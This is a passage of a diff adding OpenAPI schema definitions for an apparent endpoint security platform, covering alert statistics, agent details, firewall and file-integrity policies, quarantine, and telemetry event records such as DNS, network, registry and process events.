+      - '@timestamp'
+      - agent
+      - groups
+      - id
+      - ip_addresses
+      - log_type
+      - pid
+      - process_image_path
+      - process_unique_id
+      - query_type
+      - raw_windows_resolver_results
+      - requested_name
+      - status
+      - tenant
+      - text_records
+      - username
+    type: object
+  DailyStat:
+    properties:
+      count:
+        default: 0
+        title: Count
+        type: integer
+      date:
+        title: Date
+        type: integer
+      results:
+        $ref: '#/definitions/DailyStatResult'
+    required:
+      - date
+      - results
+    type: object
+  DailyStatLevel:
+    properties:
+      critical:
+        default: 0
+        title: Critical
+        type: integer
+      high:
+        default: 0
+        title: High
+        type: integer
+      low:
+        default: 0
+        title: Low
+        type: integer
+      medium:
+        default: 0
+        title: Medium
+        type: integer
+    type: object
+  DailyStatResult:
+    properties:
+      level:
+        $ref: '#/definitions/DailyStatLevel'
+      status:
+        $ref: '#/definitions/DailyStatStatus'
+    required:
+      - level
+      - status
+    type: object
+  DailyStatStatus:
+    properties:
+      closed:
+        default: 0
+        title: Closed
+        type: integer
+      investigate:
+        default: 0
+        title: Investigate
+        type: integer
+      new:
+        default: 0
+        title: New
+        type: integer
+    type: object
+  DailyStats:
+    properties:
+      count:
+        default: 0
+        title: Count
+        type: integer
+      stats:
+        items:
+          $ref: '#/definitions/DailyStat'
+        type: array
+    required:
+      - stats
+    type: object
+  Data:
+    properties:
+      data:
+        items:
+          type: string
+          x-nullable: true
+        type: array
+    required:
+      - data
+    type: object
+  DataAgent:
+    properties:
+      additional_info:
+        $ref: '#/definitions/InnerAgentAdditionalInfo'
+      agentid:
+        minLength: 1
+        title: Agentid
+        type: string
+      distroid:
+        minLength: 1
+        title: Distroid
+        type: string
+      domainname:
+        minLength: 1
+        title: Domainname
+        type: string
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+      osmajor:
+        title: Osmajor
+        type: integer
+      osminor:
+        title: Osminor
+        type: integer
+      osproducttype:
+        minLength: 1
+        title: Osproducttype
+        type: string
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      producttype:
+        minLength: 1
+        title: Producttype
+        type: string
+    required:
+      - additional_info
+      - agentid
+      - distroid
+      - domainname
+      - hostname
+      - osmajor
+      - osminor
+      - osproducttype
+      - ostype
+      - producttype
+    type: object
+  DataExplorationPermissions:
+    properties:
+      can_browse_and_manage:
+        title: Can browse and manage
+        type: boolean
+      can_download_files:
+        title: Can download files
+        type: boolean
+      can_use_search:
+        title: Can use search
+        type: boolean
+      can_view_telemetry:
+        title: Can view telemetry
+        type: boolean
+      investigations:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Investigations
+        type: string
+    required:
+      - can_browse_and_manage
+      - can_download_files
+      - can_use_search
+      - can_view_telemetry
+      - investigations
+    type: object
+  DebugPermissions:
+    properties:
+      profile_memory:
+        enum:
+          - disabled
+          - read_only
+          - read_write
+        title: Profile memory
+        type: string
+    required:
+      - profile_memory
+    type: object
+  DeleteFIM:
+    properties:
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    required:
+      - ids
+    type: object
+  DeleteFromQuarantine:
+    properties:
+      values:
+        items:
+          $ref: '#/definitions/DeleteFromQuarantineItem'
+        type: array
+    required:
+      - values
+    type: object
+  DeleteFromQuarantineItem:
+    properties:
+      local_id:
+        format: uuid
+        title: Local id
+        type: string
+      original_file_path:
+        minLength: 1
+        title: Original file path
+        type: string
+      original_hash:
+        minLength: 1
+        title: Original hash
+        type: string
+    type: object
+  DeleteScheduledTask:
+    properties:
+      schtask_uri:
+        minLength: 1
+        title: Schtask uri
+        type: string
+    required:
+      - schtask_uri
+    type: object
+  DeleteService:
+    properties:
+      service_name:
+        minLength: 1
+        title: Service name
+        type: string
+    required:
+      - service_name
+    type: object
+  DeleteSourceItemsBody:
+    properties:
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    required:
+      - ids
+    type: object
+  DeleteVulnerabilityPolicies:
+    properties:
+      ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+    required:
+      - ids
+    type: object
+  DetailAmsiScan:
+    properties:
+      app_name:
+        minLength: 1
+        title: App name
+        type: string
+      application:
+        enum:
+          - dotnet
+          - jscript
+          - office_vba
+          - other
+          - powershell
+          - vbscript
+          - vss
+          - wmi
+        title: Application
+        type: string
+      content_name:
+        minLength: 1
+        title: Content name
+        type: string
+      event_time:
+        format: date-time
+        title: Event time
+        type: string
+      text_payload:
+        minLength: 1
+        title: Text payload
+        type: string
+    required:
+      - app_name
+      - application
+      - content_name
+      - event_time
+      - text_payload
+    type: object
+  DetailConnection:
+    properties:
+      DestinationIp:
+        minLength: 1
+        title: Destinationip
+        type: string
+      DestinationPort:
+        title: Destinationport
+        type: integer
+      Initiated:
+        title: Initiated
+        type: boolean
+      Protocol:
+        minLength: 1
+        title: Protocol
+        type: string
+      ProtocolNumber:
+        title: Protocolnumber
+        type: integer
+      SourceIp:
+        minLength: 1
+        title: Sourceip
+        type: string
+      SourcePort:
+        title: Sourceport
+        type: integer
+      connection_closed_time:
+        format: date-time
+        title: Connection closed time
+        type: string
+      connection_start_time:
+        format: date-time
+        title: Connection start time
+        type: string
+      connection_successful:
+        title: Connection successful
+        type: boolean
+      connection_unique_id:
+        minLength: 1
+        title: Connection unique id
+        type: string
+      incoming_bytes:
+        title: Incoming bytes
+        type: integer
+      incoming_protocol:
+        $ref: '#/definitions/ApplicationProtocol'
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      outgoing_bytes:
+        title: Outgoing bytes
+        type: integer
+      outgoing_protocol:
+        $ref: '#/definitions/ApplicationProtocol'
+    required:
+      - DestinationIp
+      - DestinationPort
+      - Initiated
+      - Protocol
+      - ProtocolNumber
+      - SourceIp
+      - SourcePort
+      - connection_closed_time
+      - connection_start_time
+      - connection_successful
+      - connection_unique_id
+      - incoming_bytes
+      - incoming_protocol
+      - kind
+      - outgoing_bytes
+      - outgoing_protocol
+    type: object
+  DetailDnsResolution:
+    properties:
+      ip_addresses:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      query_type:
+        minLength: 1
+        title: Query type
+        type: string
+      raw_windows_resolver_results:
+        minLength: 1
+        title: Raw windows resolver results
+        type: string
+      requested_name:
+        minLength: 1
+        title: Requested name
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      text_records:
+        items:
+          minLength: 1
+          type: string
+        type: array
+    required:
+      - ip_addresses
+      - query_type
+      - raw_windows_resolver_results
+      - requested_name
+      - status
+      - text_records
+    type: object
+  DetailFIMFileModification:
+    properties:
+      agent:
+        $ref: '#/definitions/MinimalAgentInfo'
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      current_access_mode:
+        readOnly: true
+        title: Current access mode
+        type: integer
+        x-nullable: true
+      current_entry_type:
+        enum:
+          - directory
+          - file
+        readOnly: true
+        title: Current entry type
+        type: string
+      current_gid:
+        readOnly: true
+        title: Current gid
+        type: integer
+        x-nullable: true
+      current_hash:
+        minLength: 1
+        readOnly: true
+        title: Current hash
+        type: string
+        x-nullable: true
+      current_last_change_time:
+        format: date-time
+        readOnly: true
+        title: Current last change time
+        type: string
+        x-nullable: true
+      current_last_modification_time:
+        format: date-time
+        readOnly: true
+        title: Current last modification time
+        type: string
+        x-nullable: true
+      current_size:
+        readOnly: true
+        title: Current size
+        type: integer
+        x-nullable: true
+      current_uid:
+        readOnly: true
+        title: Current uid
+        type: integer
+        x-nullable: true
+      fim_policy:
+        $ref: '#/definitions/MinimalFIMPolicy'
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modifier:
+        readOnly: true
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_scan_with_changes:
+        format: date-time
+        readOnly: true
+        title: Last scan with changes
+        type: string
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      ostype:
+        enum:
+          - linux
+          - macos
+          - windows
+        readOnly: true
+        title: Ostype
+        type: string
+      path:
+        minLength: 1
+        readOnly: true
+        title: Path
+        type: string
+      previous_access_mode:
+        readOnly: true
+        title: Previous access mode
+        type: integer
+        x-nullable: true
+      previous_entry_type:
+        enum:
+          - directory
+          - file
+        readOnly: true
+        title: Previous entry type
+        type: string
+      previous_gid:
+        readOnly: true
+        title: Previous gid
+        type: integer
+        x-nullable: true
+      previous_hash:
+        minLength: 1
+        readOnly: true
+        title: Previous hash
+        type: string
+        x-nullable: true
+      previous_last_change_time:
+        format: date-time
+        readOnly: true
+        title: Previous last change time
+        type: string
+        x-nullable: true
+      previous_last_modification_time:
+        format: date-time
+        readOnly: true
+        title: Previous last modification time
+        type: string
+        x-nullable: true
+      previous_size:
+        readOnly: true
+        title: Previous size
+        type: integer
+        x-nullable: true
+      previous_uid:
+        readOnly: true
+        title: Previous uid
+        type: integer
+        x-nullable: true
+      report_id:
+        format: uuid
+        title: Report id
+        type: string
+      status:
+        enum:
+          - accepted
+          - not reviewed
+          - rejected
+        readOnly: true
+        title: Status
+        type: string
+      type:
+        enum:
+          - content
+          - creation
+          - deletion
+          - error
+          - initialization
+          - metadata
+          - metadata and content
+          - type change
+        readOnly: true
+        title: Type
+        type: string
+    required:
+      - report_id
+    type: object
+  DetailFIMPolicy:
+    properties:
+      agent_policies:
+        items:
+          $ref: '#/definitions/MinimalPolicy'
+        readOnly: true
+        type: array
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      periodicity:
+        $ref: '#/definitions/Schedule'
+      revision:
+        readOnly: true
+        title: Revision
+        type: integer
+      rule_highest_level:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Rule highest level
+        type: string
+    required:
+      - periodicity
+    type: object
+  DetailFIMReport:
+    properties:
+      agents:
+        items:
+          $ref: '#/definitions/MinimalAgentInfo'
+        readOnly: true
+        type: array
+      covered_endpoints_count:
+        readOnly: true
+        title: Covered endpoints count
+        type: integer
+      critical_level_count:
+        readOnly: true
+        title: Critical level count
+        type: integer
+      fim_policy:
+        $ref: '#/definitions/MinimalFIMPolicy'
+      high_level_count:
+        readOnly: true
+        title: High level count
+        type: integer
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      last_modification_date:
+        format: date-time
+        readOnly: true
+        title: Last modification date
+        type: string
+        x-nullable: true
+      last_modifier:
+        readOnly: true
+        title: Last modifier
+        type: integer
+        x-nullable: true
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      low_level_count:
+        readOnly: true
+        title: Low level count
+        type: integer
+      medium_level_count:
+        readOnly: true
+        title: Medium level count
+        type: integer
+      modifications_accepted_count:
+        readOnly: true
+        title: Modifications accepted count
+        type: integer
+      modifications_count:
+        readOnly: true
+        title: Modifications count
+        type: integer
+      modifications_not_reviewed_count:
+        readOnly: true
+        title: Modifications not reviewed count
+        type: integer
+      modifications_rejected_count:
+        readOnly: true
+        title: Modifications rejected count
+        type: integer
+      modified_endpoints_count:
+        readOnly: true
+        title: Modified endpoints count
+        type: integer
+      modified_path_count:
+        readOnly: true
+        title: Modified path count
+        type: integer
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      report_date:
+        format: date-time
+        readOnly: true
+        title: Report date
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - fim_policy
+    type: object
+  DetailFile:
+    properties:
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target_filename:
+        minLength: 1
+        title: Target filename
+        type: string
+    required:
+      - stacktrace
+      - stacktrace_minimal
+      - target_filename
+    type: object
+  DetailFirewallNetwork:
+    properties:
+      blocks:
+        items:
+          $ref: '#/definitions/FirewallNetworkBlock'
+        type: array
+      blocks_count:
+        readOnly: true
+        title: Blocks count
+        type: integer
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      firewall_policies:
+        items:
+          $ref: '#/definitions/MinimalFirewallPolicy'
+        readOnly: true
+        type: array
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      policies_count:
+        readOnly: true
+        title: Policies count
+        type: integer
+      rules_count:
+        readOnly: true
+        title: Rules count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    type: object
+  DetailFirewallPolicy:
+    properties:
+      agent_policy:
+        items:
+          $ref: '#/definitions/MinimalPolicy'
+        type: array
+      default_profile:
+        $ref: '#/definitions/FirewallProfile'
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      network_to_profile:
+        items:
+          $ref: '#/definitions/ProfileToNetwork'
+        type: array
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      revision:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Revision
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  DetailFirewallProfile:
+    properties:
+      default_incoming_action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Default incoming action
+        type: string
+      default_outgoing_action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Default outgoing action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoints_count:
+        readOnly: true
+        title: Endpoints count
+        type: integer
+      firewall_policies:
+        items:
+          $ref: '#/definitions/MinimalFirewallPolicy'
+        readOnly: true
+        type: array
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      policies_count:
+        readOnly: true
+        title: Policies count
+        type: integer
+      rules:
+        items:
+          $ref: '#/definitions/DetailFirewallRule'
+        type: array
+      rules_count:
+        readOnly: true
+        title: Rules count
+        type: integer
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - name
+    type: object
+  DetailFirewallRule:
+    properties:
+      action:
+        enum:
+          - Allow
+          - Drop
+          - Reject
+        title: Action
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      direction:
+        enum:
+          - Both
+          - In
+          - Out
+        title: Direction
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      id:
+        format: uuid
+        title: Id
+        type: string
+      index:
+        maximum: 2147483647
+        minimum: 0
+        title: Index
+        type: integer
+      ip_version:
+        enum:
+          - Both
+          - IPv4
+          - IPv6
+        title: Ip version
+        type: string
+      local_application:
+        maxLength: 256
+        title: Local application
+        type: string
+        x-nullable: true
+      local_ip:
+        $ref: '#/definitions/FirewallIp'
+      local_ports:
+        items:
+          $ref: '#/definitions/FirewallPort'
+        type: array
+      name:
+        maxLength: 256
+        title: Name
+        type: string
+        x-nullable: true
+      profile_id:
+        format: uuid
+        title: Profile id
+        type: string
+      protocol:
+        enum:
+          - ICMP
+          - IPV6_ICMP
+          - TCP
+          - UDP
+        title: Protocol
+        type: string
+        x-nullable: true
+      remote_ip:
+        $ref: '#/definitions/FirewallIp'
+      remote_ports:
+        items:
+          $ref: '#/definitions/FirewallPort'
+        type: array
+    required:
+      - index
+      - profile_id
+    type: object
+  DetailLibrary:
+    properties:
+      dotnet_info:
+        $ref: '#/definitions/DotnetInfo'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      image_loaded:
+        minLength: 1
+        title: Image loaded
+        type: string
+      library_type:
+        minLength: 1
+        title: Library type
+        type: string
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_info:
+        $ref: '#/definitions/IndexedPEInfo'
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+    required:
+      - dotnet_info
+      - hashes
+      - image_loaded
+      - library_type
+      - pe_imphash
+      - pe_info
+      - pe_timestamp
+      - pe_timestamp_int
+      - signature_info
+      - signed
+      - size
+      - stacktrace
+      - stacktrace_minimal
+    type: object
+  DetailLinuxFilesystemEvent:
+    properties:
+      gid:
+        title: Gid
+        type: integer
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      mode_octal:
+        minLength: 1
+        title: Mode octal
+        type: string
+      mode_pretty:
+        minLength: 1
+        title: Mode pretty
+        type: string
+      old_mode_octal:
+        minLength: 1
+        title: Old mode octal
+        type: string
+      old_mode_pretty:
+        minLength: 1
+        title: Old mode pretty
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      permissions:
+        minLength: 1
+        title: Permissions
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target:
+        minLength: 1
+        title: Target
+        type: string
+      target_filename:
+        minLength: 1
+        title: Target filename
+        type: string
+      uid:
+        title: Uid
+        type: integer
+      written_file_hashes:
+        $ref: '#/definitions/Hashes'
+      written_file_size:
+        title: Written file size
+        type: integer
+      written_file_type:
+        enum:
+          - 7z
+          - asp
+          - chm
+          - cmd
+          - compound_file_binary_format
+          - eicar
+          - elf
+          - hta
+          - js
+          - jsp
+          - lnk
+          - mach-o
+          - pdf
+          - pe
+          - perl
+          - php
+          - plist
+          - powershell
+          - python
+          - rar
+          - reg
+          - ruby
+          - sct
+          - shell_script
+          - unknown
+          - url
+          - vbs
+          - windows_script_file
+          - zip
+        title: Written file type
+        type: string
+    required:
+      - gid
+      - kind
+      - mode_octal
+      - mode_pretty
+      - old_mode_octal
+      - old_mode_pretty
+      - path
+      - permissions
+      - stacktrace
+      - stacktrace_minimal
+      - target
+      - target_filename
+      - uid
+      - written_file_hashes
+      - written_file_size
+      - written_file_type
+    type: object
+  DetailMacosFilesystemEvent:
+    properties:
+      gid:
+        title: Gid
+        type: integer
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      mode_octal:
+        minLength: 1
+        title: Mode octal
+        type: string
+      mode_pretty:
+        minLength: 1
+        title: Mode pretty
+        type: string
+      old_mode_octal:
+        minLength: 1
+        title: Old mode octal
+        type: string
+      old_mode_pretty:
+        minLength: 1
+        title: Old mode pretty
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      permissions:
+        minLength: 1
+        title: Permissions
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target:
+        minLength: 1
+        title: Target
+        type: string
+      target_filename:
+        minLength: 1
+        title: Target filename
+        type: string
+      uid:
+        title: Uid
+        type: integer
+      written_file_hashes:
+        $ref: '#/definitions/Hashes'
+      written_file_size:
+        title: Written file size
+        type: integer
+      written_file_type:
+        enum:
+          - 7z
+          - asp
+          - chm
+          - cmd
+          - compound_file_binary_format
+          - eicar
+          - elf
+          - hta
+          - js
+          - jsp
+          - lnk
+          - mach-o
+          - pdf
+          - pe
+          - perl
+          - php
+          - plist
+          - powershell
+          - python
+          - rar
+          - reg
+          - ruby
+          - sct
+          - shell_script
+          - unknown
+          - url
+          - vbs
+          - windows_script_file
+          - zip
+        title: Written file type
+        type: string
+    required:
+      - gid
+      - kind
+      - mode_octal
+      - mode_pretty
+      - old_mode_octal
+      - old_mode_pretty
+      - path
+      - permissions
+      - stacktrace
+      - stacktrace_minimal
+      - target
+      - target_filename
+      - uid
+      - written_file_hashes
+      - written_file_size
+      - written_file_type
+    type: object
+  DetailNamedPipeConnected:
+    properties:
+      pipename:
+        minLength: 1
+        title: Pipename
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target_process:
+        $ref: '#/definitions/InnerProcess'
+    required:
+      - pipename
+      - stacktrace
+      - stacktrace_minimal
+      - target_process
+    type: object
+  DetailNamedPipeCreated:
+    properties:
+      desiredaccess:
+        title: Desiredaccess
+        type: integer
+      inboundquota:
+        title: Inboundquota
+        type: integer
+      maximuminstances:
+        title: Maximuminstances
+        type: integer
+      namedpipetype:
+        title: Namedpipetype
+        type: integer
+      outboundquota:
+        title: Outboundquota
+        type: integer
+      pipename:
+        minLength: 1
+        title: Pipename
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+    required:
+      - desiredaccess
+      - inboundquota
+      - maximuminstances
+      - namedpipetype
+      - outboundquota
+      - pipename
+      - stacktrace
+      - stacktrace_minimal
+    type: object
+  DetailNetworkListen:
+    properties:
+      address:
+        minLength: 1
+        title: Address
+        type: string
+      port:
+        title: Port
+        type: integer
+      protocol:
+        minLength: 1
+        title: Protocol
+        type: string
+      protocol_number:
+        title: Protocol number
+        type: integer
+    required:
+      - address
+      - port
+      - protocol
+      - protocol_number
+    type: object
+  DetailPowershell:
+    properties:
+      PowershellCommand:
+        minLength: 1
+        title: Powershellcommand
+        type: string
+      PowershellScriptPath:
+        minLength: 1
+        title: Powershellscriptpath
+        type: string
+      hashes:
+        $ref: '#/definitions/HashesWithoutImphash'
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+    required:
+      - PowershellCommand
+      - PowershellScriptPath
+      - hashes
+      - sha256
+      - signature_info
+      - signed
+    type: object
+  DetailPrimaryTokenChange:
+    properties:
+      new_integrity_level:
+        minLength: 1
+        title: New integrity level
+        type: string
+      new_integrity_level_int:
+        title: New integrity level int
+        type: integer
+      new_user_sid:
+        minLength: 1
+        title: New user sid
+        type: string
+      new_username:
+        minLength: 1
+        title: New username
+        type: string
+      source_process_image_path:
+        minLength: 1
+        title: Source process image path
+        type: string
+      source_process_pid:
+        title: Source process pid
+        type: integer
+      source_process_unique_id:
+        minLength: 1
+        title: Source process unique id
+        type: string
+    required:
+      - new_integrity_level
+      - new_integrity_level_int
+      - new_user_sid
+      - new_username
+      - source_process_image_path
+      - source_process_pid
+      - source_process_unique_id
+    type: object
+  DetailProcessAccess:
+    properties:
+      CallTrace:
+        minLength: 1
+        title: Calltrace
+        type: string
+      GrantedAccess:
+        minLength: 1
+        title: Grantedaccess
+        type: string
+      GrantedAccessStr:
+        minLength: 1
+        title: Grantedaccessstr
+        type: string
+      SourceImage:
+        minLength: 1
+        title: Sourceimage
+        type: string
+      SourceProcessGUID:
+        minLength: 1
+        title: Sourceprocessguid
+        type: string
+      SourceProcessId:
+        title: Sourceprocessid
+        type: integer
+      TargetCommandLine:
+        minLength: 1
+        title: Targetcommandline
+        type: string
+      TargetImage:
+        minLength: 1
+        title: Targetimage
+        type: string
+      TargetProcessGUID:
+        minLength: 1
+        title: Targetprocessguid
+        type: string
+      TargetProcessId:
+        title: Targetprocessid
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+    required:
+      - CallTrace
+      - GrantedAccess
+      - GrantedAccessStr
+      - SourceImage
+      - SourceProcessGUID
+      - SourceProcessId
+      - TargetCommandLine
+      - TargetImage
+      - TargetProcessGUID
+      - TargetProcessId
+      - stacktrace
+      - stacktrace_minimal
+    type: object
+  DetailProcessTamper:
+    properties:
+      imagebaseaddress:
+        title: Imagebaseaddress
+        type: integer
+      process_entrypoint_file:
+        minLength: 1
+        title: Process entrypoint file
+        type: string
+      process_entrypoint_memory:
+        minLength: 1
+        title: Process entrypoint memory
+        type: string
+      process_header_file:
+        minLength: 1
+        title: Process header file
+        type: string
+      process_header_memory:
+        minLength: 1
+        title: Process header memory
+        type: string
+      tamperflag:
+        title: Tamperflag
+        type: integer
+      type:
+        minLength: 1
+        title: Type
+        type: string
+    required:
+      - imagebaseaddress
+      - process_entrypoint_file
+      - process_entrypoint_memory
+      - process_header_file
+      - process_header_memory
+      - tamperflag
+      - type
+    type: object
+  DetailRawDeviceAccess:
+    properties:
+      desired_access:
+        title: Desired access
+        type: integer
+      desired_access_str:
+        minLength: 1
+        title: Desired access str
+        type: string
+      device:
+        minLength: 1
+        title: Device
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+    required:
+      - desired_access
+      - desired_access_str
+      - device
+      - stacktrace
+      - stacktrace_minimal
+    type: object
+  DetailRawSocketCreation:
+    properties:
+      family:
+        title: Family
+        type: integer
+      protocol:
+        title: Protocol
+        type: integer
+      sock_type:
+        title: Sock type
+        type: integer
+    required:
+      - family
+      - protocol
+      - sock_type
+    type: object
+  DetailRegistry:
+    properties:
+      data_string_added:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      data_string_removed:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      details:
+        minLength: 1
+        title: Details
+        type: string
+      event_type:
+        minLength: 1
+        title: Event type
+        type: string
+      hive_path:
+        minLength: 1
+        title: Hive path
+        type: string
+      previous_details:
+        minLength: 1
+        title: Previous details
+        type: string
+      registry_value_type:
+        minLength: 1
+        title: Registry value type
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      target_object:
+        minLength: 1
+        title: Target object
+        type: string
+    required:
+      - data_string_added
+      - data_string_removed
+      - details
+      - event_type
+      - hive_path
+      - previous_details
+      - registry_value_type
+      - stacktrace
+      - stacktrace_minimal
+      - target_object
+    type: object
+  DetailRemoteThread:
+    properties:
+      new_thread_id:
+        title: New thread id
+        type: integer
+      source_pid:
+        title: Source pid
+        type: integer
+      source_process:
+        minLength: 1
+        title: Source process
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      start_address:
+        title: Start address
+        type: integer
+      start_function:
+        minLength: 1
+        title: Start function
+        type: string
+      start_module:
+        minLength: 1
+        title: Start module
+        type: string
+      target_pid:
+        title: Target pid
+        type: integer
+      target_process:
+        minLength: 1
+        title: Target process
+        type: string
+    required:
+      - new_thread_id
+      - source_pid
+      - source_process
+      - stacktrace
+      - stacktrace_minimal
+      - start_address
+      - start_function
+      - start_module
+      - target_pid
+      - target_process
+    type: object
+  DetailUrlRequest:
+    properties:
+      event_time:
+        format: date-time
+        title: Event time
+        type: string
+      host:
+        minLength: 1
+        title: Host
+        type: string
+      url:
+        minLength: 1
+        title: Url
+        type: string
+      user_agent:
+        minLength: 1
+        title: User agent
+        type: string
+      verb:
+        minLength: 1
+        title: Verb
+        type: string
+    required:
+      - event_time
+      - host
+      - url
+      - user_agent
+      - verb
+    type: object
+  DetailUsbInterface:
+    properties:
+      alternate_setting:
+        minLength: 1
+        title: Alternate setting
+        type: string
+      interface_class:
+        minLength: 1
+        title: Interface class
+        type: string
+      interface_description:
+        minLength: 1
+        title: Interface description
+        type: string
+      interface_number:
+        minLength: 1
+        title: Interface number
+        type: string
+      interface_protocol:
+        minLength: 1
+        title: Interface protocol
+        type: string
+      interface_subclass:
+        minLength: 1
+        title: Interface subclass
+        type: string
+    required:
+      - alternate_setting
+      - interface_class
+      - interface_description
+      - interface_number
+      - interface_protocol
+      - interface_subclass
+    type: object
+  DetailVulnerabilityPolicy:
+    properties:
+      agent_policies:
+        items:
+          $ref: '#/definitions/MinimalPolicy'
+        type: array
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      name:
+        maxLength: 256
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  DetailWindowsFilesystemEvent:
+    properties:
+      app_zone_id:
+        minLength: 1
+        title: App zone id
+        type: string
+      create_disposition:
+        title: Create disposition
+        type: integer
+      create_disposition_str:
+        minLength: 1
+        title: Create disposition str
+        type: string
+      create_options:
+        title: Create options
+        type: integer
+      create_options_str:
+        minLength: 1
+        title: Create options str
+        type: string
+      first_bytes:
+        minLength: 1
+        title: First bytes
+        type: string
+      kind:
+        minLength: 1
+        title: Kind
+        type: string
+      last_writer_package_family_name:
+        minLength: 1
+        title: Last writer package family name
+        type: string
+      path:
+        minLength: 1
+        title: Path
+        type: string
+      referrer_url:
+        minLength: 1
+        title: Referrer url
+        type: string
+      source_ip_address:
+        minLength: 1
+        title: Source ip address
+        type: string
+      source_url:
+        minLength: 1
+        title: Source url
+        type: string
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
